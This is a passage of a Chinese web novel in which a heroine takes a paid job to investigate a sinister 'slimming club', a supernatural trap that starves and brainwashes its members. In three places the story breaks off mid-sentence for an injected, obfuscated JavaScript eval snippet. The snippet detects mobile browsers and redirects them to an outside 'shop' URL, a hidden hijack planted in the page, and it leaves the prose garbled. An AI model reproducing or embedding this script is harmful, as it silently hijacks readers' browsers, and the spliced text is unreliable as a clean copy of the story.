少男抿唇一笑,主动上前两步,朝她伸出手:“我叫万安安,谢谢你之前救了我。” 雁惊春与他握了握手:“不客气,很高兴能再次见到你,我叫......” “雁惊春,对吧?”万安安眨眨眼,拉着她坐到沙发上,“救命恩人的名字,我还是知道的。” 雁惊春不知道他在经过催眠后对于那次事件的记忆还剩多少,为了避免暴露织茧者相关的秘密,一时没有作声。 还好万安安也不需要她接话,自顾自地说了下去:“可能是因为受到了致幻药物的影响吧,我对那天发生过的事情已经记得不太清楚了,很多事还是别人告诉我的。” “但是!对于其中一件事,我还是有印象的。当时有个丑男人要杀我,是你从他手中救下我的,对不对?”万安安双眼亮晶晶地注视着雁惊春。 雁惊春迟疑地点点头:“算是吧。” 虽然那不是什么丑男人,而是男鬼。 “而且你不仅帮我打跑了丑男人,还一直保护着我,为了我把那一百多个坏人全都杀掉了!”万安安的眼睛更亮了,“你太酷了!” 雁惊春:“......” 她一时有些跟不上万安安的思路,什么叫为了他杀人?还有杀人这事到底有什么酷的? 但是她转念一想,万安安看着年纪不大,应该正是沉迷男频那些《暴君的宠侍》、《霸道杀手狠狠宠,纯情少男别想逃》之类恋爱故事的时候,受其影响产生这种想法倒也正常。 更何况,将恐怖袭击编撰成浪漫故事,或许也是他保护自己的一种方式。 想到这里,雁惊春终究没去纠正他的措辞,只是坐立不安地瞄了眼光脑上的时间。 刚才那经理不是看起来挺着急的吗,怎么到现在还没回来? 就在这时,万安安突然停止了喋喋不休的讲述,向她微微鞠躬:“对不起。” 雁惊春还以为自己溜号被发现了,略带尴尬地询问:“怎么了,干嘛突然道歉?” “其实......我不是偶然过来的。我提前和商场做了约定,要求商场在你来的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808186|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候通知我。”万安安小心地抬眼,自下而上地看向雁惊春。 雁惊春困惑道:“这么说,你是特意来见我的?难道商场的免单机会也是你安排的?” 万安安小幅度地点了点头,又摇了摇头:“其实商场本来就打算赠送你一次免单的,只不过有限额。后来我找到商场,要他们以商场的名义赠送你一次无限额免单,超出预算的部分由我来补,条件是他们必须在你来时通知我。” 雁惊春微微皱眉,商场既然有答谢她的计划,就说明是想要与她打好关系的。那为何还要同意万安安的要求?商场就没想过这样或许不仅无法拉进关系,反而可能冒犯到她吗? 她可不觉得那些生意人会连这种程度的人情世故都不懂,那么最大的可能,就是万安安背景特殊,让他们无法拒绝。 再回想下初次见到万安安时,他的身边还跟着保镖,而且衣服和首饰看起来也价值不菲,更加佐证了她的猜想。 她在脑中搜寻片刻,突然想起,第3区的一个大家族似乎就姓“万”。而且这个家族好像在媒体和娱乐领域颇有建树,很擅长把控舆论。 再联想到商场发生了重大事故却丝毫未见减少的客流量,雁惊春恍然大悟,万安安很可能就是以央求家里压下此事为交换条件,让商场答应了给他报信。 而作为他们交易的一环,雁惊春此时的心情属实微妙。虽然万安安应该没什么恶意,但她心里还是觉得有点膈应。 她甚至想过要不要直接走人,但想想还没完成核销的商品,最终还是压下了这股冲动。 前二十多年的人生教会了她一件事:人,不能和钱过不去。 不就是和人见个面说说话吗,无所谓。 然而事实证明,她想得还是太简单了,万安安找到她,并不仅是为了闲聊而已。 在缠着她加了通讯好友后,万安安终于说出了自己的真正目的:“其实,我想雇你做我的保镖。放心,我不需要你向其他保镖那样长期贴身保护,只要你保护我去做一件事就行。” 听了这话,雁惊春立刻反应过来,他口中的那件事恐怕是瞒着家里的。否则他完全没必要舍近求远,更不用支开保镖偷偷与自己见面。 “不好意思,我不接这种活。”雁惊春断然拒绝,她可不想淌这种浑水,万一这小少爷中途磕了碰了,她担当不起。 说出这话时,她已经做好了被万安安反复央求的心理准备,然而出乎她意料的是,他没再多说什么,只是低头摆弄起自己的光脑。 下一刻,雁惊春的光脑响起了消息提示音,她低头看了眼,发现是一条银行发来的信息,提醒她账户已转入20万元。 万安安这才抬起头,再度望向她:“我先给你20万。等事情办完之后,我再把剩下的30万尾款打给你。” 雁惊春:“......” 话又说回来,她好歹是个能力者,帮忙解决一点少男的烦恼而已,应该没什么风险。 思及此,她当场露出职业微笑:“好的,尊敬的男王大人,请问您要做的是什么事呢?” “帮我的一个朋友报仇!”万安安抿紧唇角,“他为了能讨心仪的女生喜欢,除了学习穿搭和化粧以外,还一直在找各种办法减肥。” “上个月,他突然兴冲冲地告诉我,他找到了一家瘦身俱乐部,按照俱乐部里教的方法执行,减重效果特别好。在那之后,他的确肉眼可见地瘦了不少,暗恋的女生也注意了到他,开始主动找他搭话了。” “我原本还在为他高兴,可又过了一阵,他忽然联系我,说自己暗恋的女生开始躲着他了,想找我商量一下接下来该怎么办。” “于是我们两个就约着见了面。但是在见到他当时的模样之后,我立刻就理解那个女生为什么要躲着他了。”万安安按住胸口,看起来心有余悸:“他当时瘦得只剩下皮包骨了,超级吓人!” 说到这里,他停顿片刻,压低声音:“虽然这样说可能不太好......但他当时的样子,真的特别像那个想要杀我的丑男人!” 22. 异食俱乐部1 “丑男人?”雁惊春的脑海中浮现出那个皮包骨男鬼的形象,神情变得严肃起来:“这也太不寻常了,他是不是患上厌食症了?有没有去看过医生?” “我当时也觉得他是生病了,就让他不要去什么俱乐部了,赶快去看医生。”万安安摇摇头,“可是他说什么都不肯,不仅坚持自己没病,还一直在为那个俱乐部说好话。” “我干脆直接告诉他,他喜欢的女生之所以躲着他,就是因为他减肥太过。没人会喜欢瘦得像骷髅一样的男生,如果他继续去那个俱乐部,只会把喜欢的人推得更远。” “听到我这么说,他才终于表示不会继续减肥了。当时我以为这件事就算解决了。”万安安回忆着那时的场景,话语中流露出感伤:“可是我没想到,那是我最后一次见到他。” “在我们分别后的第二天,他突然发来通讯,说自己向暗恋的女生告白了,但女生不仅拒绝了他,还说他比待宰的肥猪还要胖。” “他对我说:‘看吧,安安,我果然还是太胖了,我果然不能停止减肥。’,说完就断开了通讯。之后我一直试图联系他,却没能得到任何回应。” 万安安的双手紧紧攥着裙摆:“我很着急,当天下午就去了他的学校找他,却被告知他从两天前开始就没去上学,而且学校也始终联系不上他。” “我又想找那个他暗恋的女生,可校方说那个女生早在一个月前就已经转学到另一个区了。他学校里的人都说,他和那个女生之间完全没有交集。” “可是这怎么可能呢?”万安安喃喃着,“一个月前,正是他减肥初见成效的时候,那段时间他经常美滋滋地对我说,那个女生又主动去他班级里找他聊天了。” “我不死心,又想办法拿到了那个女生的联系方式,可当我问她我朋友的事情时,女生却说她根本不认识这个人。我不知道她的话是真是假,但我没有他们两个联系过的证据,也没办法继续追究。” 见他一时陷入沉默,雁惊春忍不住追问:“之后呢?这种情况已经算失踪了,你有联系过他家里吗?” “有的。”万安安点了点头,“其实当时我已经有点害怕了,担心他是不是出了什么事,就赶紧去和他家里人联系。” “直到那时我才知道,他家里人一直以为他这几天都和我在一起。也不知道我朋友是怎么和家里说的,他们这么多天联系不上他,居然也不来问我!” 雁惊春听得眉头紧皱:“那你们最后找到他了吗?” “算是有找到吧。”万安安垂下眼,“根据他最后和我说过的话,我猜他很可能又去了瘦身俱乐部。虽然他说自己加入瘦身俱乐部的事要向家里人保密,可那种情况我也没法继续帮他隐瞒。” “他家知道了这件事,就说会派人去带他回来,叫我不用担心。过了几天,他们告诉我,我朋友已经找回来了。可是当我提出要去看他时,却被他家拒绝了,他们说我朋友状态太差,不方便见人,也没法和我联系。” “原本我想着,既然他已经回家,那等他养好身体再见面也不迟。可是......”万安安沉默良久,再次开口时声音里已带上了哽咽:“我没想到,就在上周,他突然......过世了。” “过世?”雁惊春心头涌起不祥的预感,“你知道是什么原因导致的吗?” “还能是为什么,肯定是因为那个瘦身俱乐部!”万安安抹了把眼睛,恨声道:“我后来才知道,他回到家后一直不吃不喝,他家人眼看他的状况越来越差,就把他送去了医院,想要直接给他注射营养剂。” “有位医生发现他的状态不对,就建议给他做个详细检查,这才发现,他的喉咙到胃部,居然一直插着两根50厘米长的‘仙男管’!” 雁惊春听过“仙男管”这个名词,说得好听,其实就是催吐管,很多年前曾经被一些身材焦虑的男人用来减肥。 由于这种危险手段会给人的身心造成极大伤害,“仙男管”早已被安全区明令禁止,如今已经从市面上销声匿迹。 万安安显然也知道这东西的可怕:“会用‘仙男管’减肥的,怎么可能是正经俱乐部!更过分的是,也不知道那破俱乐部怎么给他洗脑的,我听说,直到他......他临死前,都在念叨着要回到那个俱乐部里去。” 雁惊春:“所以,你说要帮你朋友报仇,指的就是去找瘦身俱乐部算账?” 万安安用力点头:“是的!” 雁惊春:“那你朋友的家人呢?这种时候,不应该由他家人出面讨回公道吗?” “这个......”万安安支吾了一会,最终还是说出了实情:“其实我也找过他的家人,让他们积极维权,还说我可以提供帮助,但是他家人却说不打算再追究这件事,我劝的次数多了,他们干脆直接拒绝和我沟通。” “我咽不下这口气,就想着既然他家不肯管,那我就去找自己家人帮忙!可是......我跟家里说了这事之后,她们不仅禁止我继续掺和,还额外交代保镖盯紧我的行程,不许我擅自行动。” “我实在想不通,以我家的权势,干嘛要回避区区一个俱乐部?后来我问了家里最不擅长撒谎的小姨才知道,我朋友家曾被派去俱乐部接他的那些人,都在他过世前后陆续失踪了。” “小姨和我说,那个俱乐部远比我想得危险。起初我还不太明白,直到经历了几天前的恐怖袭击,我才终于意识到,那个俱乐部所做的绑架、洗脑和虐待行为,不是和这次恐怖袭击差不多吗!” 万安安激动地一拍手,说出自己的结论:“所以我猜,瘦身俱乐部其实就是恐怖分子的窝点!” “你一个人就能干掉一百多个恐怖分子,正好是他们的克星,只要你跟我一起过去,我们肯定能成功复仇!” 雁惊春看着他炯炯有神的双眼,一时有些无奈,很想劝他多听听家里人的话,别瞎折腾了。 毕竟根据他的讲述,他朋友的状态很像是遭遇了精神污染,那么所谓的“瘦身俱乐部”的确有可能和好梦床垫的活动一样,是一个捕食人类的茧。从这种意义上讲,他将这两者进行类比或许还真没错。 但不管事实如何,她都赞同万家的判断——像万安安这样柔弱的普通人,确实不应该接触这事。 然而万安安的态度十分固执,看起来就算她现在反悔,拒绝了他的请托,他也会想别的办法偷溜进去。 这样的话,与其让他雇佣其他不知内情的普通人前去送命,还不如由她接下这单。 想到这里,雁惊春先向万安安询问了瘦身俱乐部的地址,随后站起身:“你先在这里等我一下,我马上回来。” 说完不等万安安反应,她便走出接待室,反手关上了房门。 接着她打开光脑中的破茧官方程序,尝试在任务接取界面搜索“瘦身俱乐部”。 正如她所料,这个俱乐部的确是一个茧。在她按下搜索键的下一刻,光屏上便弹出了一条搜索结果: 【代号:瘦身俱乐部】 【状态:可随意进入,可于满足一定条件时退出】 【等级:结蛹(估测)】 【地址:第4区山竹大厦A座】 【存在时长(自发现始):235天】 【任务接取人数:5】 【生还人数:0】 【已知情报(根据过往接取任务人员所上传情报整理总结):】 【1.茧中列有多条明确规则,一旦违反将遭受蜕的袭击,请勿违反规则。】 【2.每次按照规则要求行动并成功避险后,所受精神污染程度将加深,请勿遵守规则。】 【3.该茧中误入的普通人较多,均以会员身份进行活动。比起俱乐部工作人员,可优先向会员打探情报。】 【4.不要相信任何人,尤其是自称会员的普通人,他们的认知已遭到影响。不要向他们打探情报,不要请求他们的帮助,不要尝试对他们施以救援。】 【5.若精神状态较差时仍未能查探到织茧者,可尝试寻求离开方法,满足特定条件即可从茧中退出。】 【6.不要尝试从茧中离开,也不要让其他人离开,精神污染会通过逃离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812675|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者进一步扩散。逃离者终将返回,新的卵将被逃离者一并带回。】 【7.如果有人试图逃离,请阻止他!如果有人即将离开,请立刻将他击杀!不要离开!如果有人离开,请砍掉他的头!请剁掉他的脚!请将他切碎!不要离开!不要离开!】 “什么鬼东西......”雁惊春浏览完界面内容,忍不住吐槽出声。 每一条情报都有与之相反的内容,最后一条更是诡异到让人怀疑当事人的精神状态。 偏偏这是她进入茧前唯一能获取情报的途径,即便看起来自相矛盾,她还是仔细阅读了一遍,并且做出了两种猜想: 第一种猜想是,这些情报来源于两拨不同的人,其中一方因遭遇精神污染,或有意或无意地提供了错误的情报。 第二种猜想是,所有情报都是正确的,只是对应着进入茧后的不同阶段。 比如最初两条,可以理解为初入茧中时,遵守规则就可以保命,但在茧中待得时间久了,再继续遵从规则就会影响自身的精神状态。 再比如关于会员的描述,既然情报中提过可以找会员问情报,就说明的确有人受到过误入的普通人帮助。之后说他们不可信,可能是有会员故意做了二五仔,也可能是随着精神污染的加深,那些会员所认为的“正确”遭到了扭曲。 至于是否能离开的部分,雁惊春暂时无从判断,但“逃离者终将返回”、“新的卵将被一并带回”的部分,正好能与万安安讲述的“朋友主动返回俱乐部”和“被派去过俱乐部的人接连失踪”相对应,因此大大增加了这一条的可信度。 然而这些都只是她的猜想,茧中的真实情况还是要等她亲身经历后才能确定。 没错,雁惊春已经决定接下这一单,去茧里看看。 一来这个茧的预估等级恰好与她当前等级相符,二来她本身就要定期捕猎织茧者用以进食,三来......万安安给的实在是太多了。 她破一次结蛹级的茧报酬是二十多万,而万安安开出的价格是五十万,相当于她干完这一单能赚到三倍的钱。 在下定决心后,她推开门走回接待室,直接说道:“我答应你,我会去这个俱乐部替你朋友报仇。” 眼见万安安露出惊喜的表情,她又连忙补充:“不过,条件是你不许跟去,中途也不能打扰我。等工作完成后,我会给你反馈结果的。” 万安安不太情愿:“为什么不让我去啊,我才不怕危险......” “这不是你怕不怕的问题。”雁惊春打断了他,“问题是,你会拖我后腿。” 万安安:“......” 他被雁惊春直白的嫌弃堵得无话可说,只好咬着嘴唇点了点头:“那好吧,不过我只等你一周时间哦。” 雁惊春痛快应下:“可以。如果我一周后还没有消息,那多半是死了。到时候你不要擅自行动,先去找家人说明情况,就找......就找你那个不擅长撒谎的小姨吧。” 等到两人商量完毕,万安安拨了个通讯,前去核销的经理才终于姗姗来迟,一边擦着额头冒出的冷汗,一边朝雁惊春讪笑:“那个,真是不好意思,系统出了点问题,所以速度慢了点......” 雁惊春知道经理的迟到根本不是因为什么系统问题,但是理解她作为打工人,做事难免身不由己,便没去为难她,约定好送货地址后就返回了第2区。 * 第2区,与雁惊春距离不远的另一间房内。 一名歪在沙发上的男青年烦躁地抓了把头发,红色的挑染如火焰般随着他的动作摇曳:“怎么有这么多代号里有‘俱乐部’的茧啊!我怎么知道他加入的是哪个俱乐部!” “近几年俱乐部越来越多了,基数这么大,代号俱乐部的茧随之增多也正常。”谢臻发送过去一份资料,“至于他加入了什么俱乐部......烨容,你看看这个。” 江烨容依言退出任务接取界面,点开了谢臻刚刚发来的资料。 只见附在资料中的照片,赫然是那名因吞下三把剪刀而死的调度员。 23. 异食俱乐部2 这张照片江烨容早在得知调度员身亡时就已经仔细看过,如今便没再细看,直接略过。 他往下划了两页,突然恍然大悟地“啊”了一声:“我知道了,他加入的应该是减脂俱乐部!” 谢臻闻言,刚露出赞许的神情,就听江烨容继续道:“他的收藏夹里有不少减脂餐的做法,再加上他又是吞剪刀而死的,说明他把剪刀当成了减脂餐!” 谢臻怔了怔,他也推断调度员的死与减脂俱乐部脱不开干系,可对于他吞下剪刀的原因却毫无头绪,没想到平日里看着傻乎乎的江烨容竟会先他一步得出结论。 谢臻虚心请教:“你是怎么知道他把剪刀当成了减脂餐的?” 江烨容得意地扬了扬下巴,两指模拟剪刀的样子开合两下:“因为剪刀被吞进肚子后,就变成了‘剪脂餐’啊!” “......”谢臻思索两秒才跟上他的思路,随后觉得会相信江烨容推理的自己更像个傻子。 他沉默着抬起手中的平板,毫不客气地在江烨容的脑袋上砸了一下。 “好痛!你干什么啊!”江烨容当即捂着头哀嚎起来。 “都什么时候了,你还有心思玩谐音梗。”谢臻冷冷地瞥他一眼,“你刚翻到第二页,能看出什么?别忘了,这个茧可是没有能力者探索过的,我们想要提前了解情报,就只有依靠这份调查报告了。” “momo不是估算出了这个茧等级只有结蛹吗?紧张什么。”江烨容不满地嘟哝,“之前听说你们蜂特性的男人都是讨好型人格,怎么到了你这里,连一点小事都要发火。” “那你应该只听说了一半。我们蜂特性的男人讨好的只有女性,对于同性,我们一贯重拳出击。”谢臻点了点江烨容面前的光屏,“赶快把剩下的内容看完,我们明天就要出发了。” 江烨容撇撇嘴,目光重新落在光屏上。 根据谢臻的调查,死去的调度员家境不错,爱好广泛,从他的浏览记录和已知行程可知,在一个月前,他工作时间之外的活动还十分丰富多样。 然而近一个月内,他的业余活动骤然发生了变化。他不再参加之前经常参与的活动,也不再追从前一集不落的影视剧,唯一出现在他的行程列表和浏览记录中的,只有“减脂”相关的内容,就像忽然对减脂以外的事失去了兴趣。 而在复原了曾被他删除的备忘录和动态后,谢臻发现他的备忘录中频繁提到了“俱乐部”这个词。 最早的一条记录是在一个月前,也就是他莫名改变爱好的时候,当时他发布了一条动态: 【现在的俱乐部可真是越来越多了,今天逛街的时候发现一家新开的俱乐部,好像挺有意思的,我先去试试,好玩的话叫大家一起~】 在那之后,他就开始频繁在社交平台分享“减脂”相关的知识,但那些分享中从来没有提到过俱乐部。 起初谢臻对此还觉得奇怪,直到他看过了调度员的备忘录,才发现他不是不想分享,而是不能分享。 那段时间,他的备忘录中时常出现相似的内容:【又忘记俱乐部教的知识了,下班后要记得再去学习一下。】 【我明明记得自己在备忘录里记了笔记,怎么找不到了?难道是听得太认真忘了?下一次一定要记得记笔记。】 【又没有记笔记。网上倒是有不少相关知识,但是总感觉不对,好像没有俱乐部教的专业。】 这样的记录持续了近半个月,他对俱乐部的看法却倏然发生了变化:【好像有哪里不对。我觉得我必须记录下来。】 【昨天,我协助几名能力者完成了一次破茧,并照例做了精神状态检测和精神污染净化,在那之后,我就感觉有些不对劲。】 【不知为何,我之前似乎对一个俱乐部产生了兴趣,甚至为此推掉了我最喜欢的活动。说实话,这不太符合我的性格。】 【现在,我正想记录自己在俱乐部中的经历,但是却想不起来了。我在俱乐部里做了什么?见到了谁?我完全想不起来,只是感觉自己收获良多。】 【我怀疑自己被精神污染了,所以向组织提交了报告,申请对这个俱乐部进行调查。或许它是一个新的茧。】 又过了两天,他在备忘录中写道:【想要去俱乐部的冲动越来越强烈了。每次产生这种冲动,我都会回看上一篇记录,提醒自己不要去,这的确很有用。】 接着是三天之后的记录:【我又申请做了几次精神污染净化,毫无效果。我因此获批了假期,但是这有什么用?我不需要假期,我被精神污染了!为什么他们还不派人去俱乐部?如果俱乐部真的是茧,那破除它之后,我一定就能恢复正常了!】 【还好我是调度员,我可以想办法派人过去。首先我要去俱乐部,然后,不对不对!首先我要假装自己已经摆脱了精神污染!然后我再申请回到俱乐部。该死的,不对!】 【看来把想法记下来也没办法保证清醒了,我要尽快回俱乐部了。】 大片的文字看得江烨容有些头晕,他扫了眼最后一条记录的日期,向谢臻确认:“他这是想要利用职务之便派人去俱乐部吧?可我记得你就是在这段时间被他派去和谐小区的啊?” 谢臻颔首:“那时他能对我做出调度,说明他已成功返岗,至于他为什么没有派我去俱乐部,我猜是因为他受到了精神污染的影响,不能做出对俱乐部不利的事情。” 江烨容:“那他从意识到不对劲到在宿舍自杀这段时间,到底还有没有去过减脂俱乐部啊?” “这就无从得知了。”谢臻摇了摇头,“在他记下最后一条备忘录后,还曾发布过一条很长的动态,内容是对俱乐部的赞美和宣传。那段文字有很强的精神污染性,我只是草草扫了几眼,就感觉思维受到了影响,所以没敢细看,也没有把它放到资料中。” “那条动态在发布后没过多久就被他本人删除,随后备忘录也被他清空。那段时间,他应该还在试图抵抗精神污染。” 令人遗憾的是,从结果来看,他显然没能成功抵御精神污染的侵蚀。 “搞得神秘兮兮的。”江烨容从沙发上站起身,伸了个懒腰:“那我们明天就去这个俱乐部看看好了,我还是第一次见到有茧会在没被破除的情况下放人出来呢!” 谢臻送他到门口,叮嘱道:“别忘了带好装备和物资,明早八点准时在......” “知道了,知道了。”江烨容头也不回地摆摆手,“在第4区樱桃大厦B座集合,对吧?” * “第4区山竹大厦A座......应该就是这里了。” 第二天一早,雁惊春就根据导航来到了瘦身俱乐部所在的地点。 这是一个地图软件上没有标注的地方,单独搜索某个关键词也查找不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833261|189941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到,只有将地址的完整名称录入搜索栏,它才像是刚被发现一样跳了出来。 出乎意料的是,这里并不偏僻,反而位于一处商业中心,周围人来人往,偏偏路过的人都像是没注意到这座大厦似的,既没有投去视线,更没有停下脚步。 看来这个茧的狩猎模式和她经历过的两个茧都大不相同,并不会来者不拒地将附近所有普通人都收入囊中,反而像是对猎物进行了某种筛选。 而她,显然已经成了被它选中的猎物。 要么吃掉它,要么被它吃掉。 雁惊春下意识吞了下口水,迈步朝大厦门口走去。 推开门后,她发现大厦内部完全不像预想中那样阴暗荒凉,反而灯光明亮、装潢精致,一楼的大堂两侧摆放着绿植和几套桌椅,墙上贴着鼓励减肥的标语,正前方则是一张服务台。乍看之下,仿佛真是一间正规的俱乐部。 见她进门,服务台后身材苗条的男性立刻起身,笑容满面地迎接她:“欢迎来到瘦身俱乐部,我们有最专业的瘦身教练,最科学的瘦身方法,一定能帮您告别肥胖,重获新生。” 雁惊春敷衍地点点头,瞄了眼它的胸牌,发现上面写着“前台-苗苗”的字样。 苗苗欠身询问:“请问您要加入俱乐部吗?” 雁惊春闻言有些讶异,她都进来了,难道现在拒绝加入俱乐部还能直接离开吗?这个茧有这么好心? 她想了下,试探道:“我不想加入俱乐部,我只是来找人的。” 苗苗:“抱歉,我们二楼及以上的区域仅向俱乐部会员开放。” 雁惊春不死心地继续问:“那你帮我把要找的人带下来不就行了?” 苗苗:“不好意思,为了保护会员,我们不能提供这项服务。” 保护?它居然说保护? 雁惊春轻笑一声:“好吧,那我要加入俱乐部。” 苗苗脸上的笑容立即变得更加灿烂了,它将一枚空白胸牌放到服务台上的小机器里,柔声询问:“请问您叫什么名字?我需要进行登记,好为您制作胸牌。” 雁惊春瞥了眼那台小机器,不太想戴茧里制造出的东西:“不用了,我不需要胸牌。” “您需要的。”苗苗异常坚持,“根据《会员手册》第一条,在瘦身俱乐部中,会员必须时刻佩戴由俱乐部前台制作的胸牌,胸牌上的字迹必须完整清晰,不得有脏污和缺损。” 《会员手册》?雁惊春听到这个词,当即想起了已知情报中提及的“茧中列有多条明确规则”。现在看来,所谓的“明确规则”,很可能就是指会员手册。 她立刻感兴趣地伸出手:“你说的《会员手册》,能给我看看吗?” 苗苗:“不可以,《会员手册》仅向会员发放,您现在还未获得胸牌,不属于会员。” 说完,它又重复了一遍:“请问您叫什么名字?我需要进行登记,好为您制作胸牌。” 这个茧如此执着地要给每个新人安上胸牌,肯定不是出于好意。雁惊春觉得,这种时候最好不要暴露自己的真实姓名。 原本她还想试试对苗苗使用【行医资格证】,但考虑到证件上有自己的真名,为了避免操控不成反暴露姓名的情况发生,她索性放弃了使用技能,直接报出一个名字。 “妙手回春。”雁惊春面不改色地扯谎,“我的名字,是妙手回春。” 24. 异食俱乐部3 听到这个名字,苗苗脸上的笑容出现了一丝裂痕:“不好意思,会员登记是需要提供真实姓名的。” “哎,我理解,因为我的名字比较小众,很多人刚听到时都觉得不可思议,但这的确是我的真名。”雁惊春表情诚恳,“等你和我接触久了就会发现,我本人与这个名字十分契合。” 在她的坚持下,苗苗收敛起笑容,冷着脸用力在屏幕上敲下了她给出的名字。 下一瞬,胸牌从小机器中弹出,雁惊春随手将它拿起,只见上面用板正的字体印着一行文字:“会员-妙手回春”。 她对着胸牌端详片刻,没看出什么特别之处。考虑到自己如今对茧的了解尚浅,她不打算贸然违反规则,索性直接将胸牌别在了胸口。 “我完成会员登记了,现在可以给我《会员手册》了吧?”雁惊春朝苗苗张开手。 “当然可以,请您稍等。”苗苗似乎已经把自己哄好了,脸上又露出了微笑,转过身在服务台内翻找起来。 雁惊春将一只胳膊搭在服务台上,趁着苗苗找手册的间隙四处张望。 服务台里乱七八糟地投影着许多资料,她眯眼细看,发现都是些《瘦身从吃开始》、《找到减肥搭子后我暴瘦了》之类的文章。 她大略扫了一眼离她最近的《瘦身从吃开始》,发现文章内容极其简单敷衍: “我要变瘦。所以我不能吃饭。今天没有吃饭,昨天没有吃饭,前天没有吃饭......” 就这么一直往前数了十几天后,文章作者另起一段,继续写道:“为了变瘦,我明天也不吃饭,后天也不吃饭......” 怎么说呢,就特别像她大学时期努力水论文字数的样子。 她正打算移开视线,却突然瞥见了位于文章最下方的片段。那段文字与之前截然不同,不仅没有凑字数般的重复,反而隐隐透出一股狂热: “没错,没错!伟大的创始人!感谢您让我们彻底摆脱了那些肮脏的、腐朽的食物!我由衷的赞美您!” 雁惊春蹙起眉,对这段话本能地感到不适。好在下一句话又恢复了正常: “我的演讲到此为止,希望我能通过评比。” 原来这是一篇演讲稿。可是瘦身俱乐部为什么要搞演讲?评比又是什么? 雁惊春好奇地探出身体,想要看到被服务台挡住的内容,却发现这篇演讲稿已经结束,最末处只剩下了一个落款:“会员-干饭大王”。 她不由得目露欣赏,在瘦身俱乐部里起这种名字,诙谐中透着讽刺,堪称艺术。 她又看向其它被投影出的讲稿,发现它们使用的措辞更加激动疯狂,几乎通篇都在赞美俱乐部和创始人,她只看了几眼就觉得阵阵作呕,连忙挪开视线。 这些讲稿无疑能直观地体现出演讲者的精神状态。显然,写下这些讲稿的人大多已受到了严重的精神污染,唯有干饭大王还保有一丝理智。 雁惊春暗暗记下了这个名字,打算之后有机会时重点观察一下这人的情况。 在看完服务台附近的布置后,她又抬头望向前方,突然注意到在光影的掩映下,有什么东西正在服务台背后的墙面上缓缓移动。 她心中顿时升起警惕,立刻将手指搭在了手套的隐藏按钮上,同时眯眼细看,这才发现那里正挂着一只时钟,刚刚她看到的就是指针转动的景象。 然而她并未因此放松下来。在如今这个时代,这种圆盘时钟堪比古董,相当少见,如今在这里出现,总让她觉得不太寻常。 雁惊春又盯着那只时钟看了片刻,终于透过明暗交错的投影看清了那时钟的模样。 时钟上没有刻度,指针只有一个,正迟缓地在表盘上转动。 时钟的表盘如扇形图般被不同颜色区分成了几块,其中一半是白色的,另一半则交错分布着其它颜色,色块面积大小不一,并不规律。 现在指针正从最大的白色区域向外挪动,不断接近着下一个彩色区域。 雁惊春心中顿时升起不详的预感。根据她过往的经验,茧的运行逻辑虽然不同于常理,但总会和呈现出的场景有所关联。 那么,这个茧既然以俱乐部自居,是不是也会组织会员们进行些“活动”呢? 她进入俱乐部的时间是早上八点多,倘若茧内的时间与外面相仿,那现在正是应该结束空白的休息时间,开启丰富多彩的活动的时候。 这样想来,眼前的圆盘恐怕根本不是12小时一圈的寻常时钟,而是一张24小时一圈的活动安排表! 雁惊春下意识地摸了摸胸口的姓名牌,她现在已经是登记在册的正式会员,应该也需要参加活动,如果错过,很可能会招致不好的后果。 可她现在就连接下来的活动要去哪里参加都不知道,本应给出指引的前台也毫无动静。 想到这里,她轻手轻脚地绕过服务台,找到了蹲在服务台下方翻找《会员手册》的苗苗,毫不意外地发现它的双手正在装模作样地刨着空气,时不时还悄悄偏头瞄一眼墙上的活动表。 很好,现在她可以确定了,但凡会员错过活动,必然会招致不好的后果。 “喂!还没找到吗?”雁惊春猛地一拍台面,把苗苗吓得一屁股坐在了地上。 它很快回过神来,不满地爬起身瞪向雁惊春,大得惊人的眼睛安在过分瘦削的脸上,犹如裹了一层人皮的骷髅。 “催什么催呀,我不是正在找吗!”苗苗翻了个白眼,“还有,谁许你进服务台的?出去出去!” “要我出去也可以,但是你得先告诉我下一场活动是什么,在哪里参加。”雁惊春指了指墙上的活动表。 她本以为苗苗会继续装傻拖延时间,却不料它直接没好气地给出了指引:“下一场活动是听专家讲座,搭那边的电梯上二楼,出电梯后直接进正前方的礼堂,那里就是活动场地。” “真的?”雁惊春没想到会得到如此详细的答案,歪头去观察苗苗的表情,又被它狠狠剜了一眼。 雁惊春顿时安下心来,苗苗都不笑了,看来应该没坑她。 不过苗苗既然会在她明确提出问题后这么痛快地给出回答,是不是说明这里的蜕也会受到某些规则的约束? 怀着这种猜想,她在确认了距离活动开始还有些时间后,试探着开口:“你要先给我《会员手册》,不然我没法安心参加活动。” 苗苗冷笑:“你爱去不去,反正《会员手册》没那么容易找到。” 